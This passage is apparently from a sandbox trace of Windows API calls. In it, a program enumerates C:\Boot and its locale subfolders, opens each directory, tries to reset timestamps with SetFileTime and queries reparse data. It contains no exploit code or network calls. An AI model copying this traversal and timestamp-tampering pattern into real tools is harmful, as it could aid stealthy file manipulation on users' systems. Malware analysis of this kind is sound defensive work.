nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0034.434] GetLastError () returned 0x12 [0034.434] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x603778 [0034.434] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0034.435] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0034.435] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0034.435] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0034.435] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0034.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.435] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.436] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.436] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.436] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.436] NtClose (Handle=0x180) returned 0x0 [0034.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.436] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.436] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.437] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf858b0 [0034.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f1d0 [0034.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.437] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.437] GetLastError () returned 0x12 [0034.437] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.437] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.437] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.438] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.438] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.438] GetLastError () returned 0x12 [0034.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.438] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.438] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0034.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.438] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.438] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.438] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.438] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.438] NtClose (Handle=0x148) returned 0x0 [0034.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.438] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.439] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf858d0 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f0c0 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.439] GetLastError () returned 0x12 [0034.439] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.439] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.439] GetLastError () returned 0x12 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.439] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0034.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.439] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.440] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.440] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.440] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.440] NtClose (Handle=0x180) returned 0x0 [0034.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.441] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.441] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf858f0 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f038 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: 